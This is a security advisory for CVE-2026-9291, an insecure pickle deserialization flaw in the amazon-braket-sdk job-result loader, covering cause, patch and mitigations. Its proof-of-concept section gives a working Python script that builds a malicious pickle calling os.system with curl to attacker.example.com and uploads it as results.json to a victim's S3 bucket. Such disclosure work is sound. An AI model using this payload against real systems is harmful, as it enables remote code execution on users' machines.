high · 7.1CVE-2026-9291Jun 25, 2026

CVE-2026-9291: amazon-braket-sdk Insecure Deserialization via pickle.loads()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A user with write access to an Amazon Braket job output S3 bucket can plant a malicious results file that causes the SDK to run arbitrary code on the victim's machine when job results are retrieved.

Packageamazon-braket-sdk
Ecosystempip
Affected>= 1.10.0, < 1.117.0
Fixed in1.117.0
CVE-2026-9291: amazon-braket-sdk Insecure Deserialization via pickle.loads()

The problem

The `deserialize_values()` function in `braket/jobs/serialization.py` reads the `dataFormat` field directly from the job results JSON stored in S3 and uses it to decide whether to call `pickle.loads()` on the payload values. No validation checks that the format matches what the job was originally configured to produce.

Any principal with `s3:PutObject` on the victim's Braket job output bucket can overwrite `results.json`, set `dataFormat` to `pickled_v4`, and embed a base64-encoded malicious pickle blob. When the victim later calls `job.result()`, `load_job_result()`, or `load_job_checkpoint()`, the SDK deserializes the attacker-controlled data, executing arbitrary code with the victim's OS-level permissions.

Proof of concept

python
# 1. Generate the malicious pickle payload
import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ("curl https://attacker.example.com/pwned",))

pickle_bytes = pickle.dumps(RCE(), protocol=4)
b64_payload = base64.b64encode(pickle_bytes).decode()

# 2. Craft the malicious results.json and upload it to the victim's S3 bucket
import json, boto3

malicious_result = {
    "braketSchemaHeader": {
        "name": "braket.jobs.job_checkpoint_data",
        "version": "1"
    },
    "dataDictionary": {
        "result": b64_payload
    },
    "dataFormat": "pickled_v4"
}

s3 = boto3.client("s3")
s3.put_object(
    Bucket="amazon-braket-output-<victim-account-id>",
    Key="jobs/<job-id>/data/output/results.json",
    Body=json.dumps(malicious_result)
)

# 3. When the victim calls job.result() or load_job_result(), pickle.loads()
#    executes the payload automatically. No further interaction needed.

The root cause is that `deserialize_values()` treated the attacker-controlled `dataFormat` field from the S3 JSON file as a trusted instruction, branching into `pickle.loads(base64.b64decode(value))` whenever it saw `pickled_v4`. Pickle deserialization in Python executes arbitrary bytecode; there is no safe way to restrict what a pickle blob can do.

The patch (v1.117.0, release title: "Disable pickle deserialization by default for security") removes or gates the pickle branch so that the SDK no longer calls `pickle.loads()` on data read from S3 by default. This is a textbook CWE-502 (Deserialization of Untrusted Data) instance: the format selector came from the same untrusted source as the data itself.

The fix

Upgrade to `amazon-braket-sdk >= 1.117.0`. Run: `pip install --upgrade amazon-braket-sdk`. If immediate upgrade is not possible: (1) restrict the Braket job output S3 bucket policy so only trusted principals hold `s3:PutObject`; (2) inspect the `dataFormat` field in `results.json` before calling `job.result()` and reject any value of `pickled_v4` your workflow did not explicitly set.

Reported by AWS Security.

References: [1][2][3][4][5]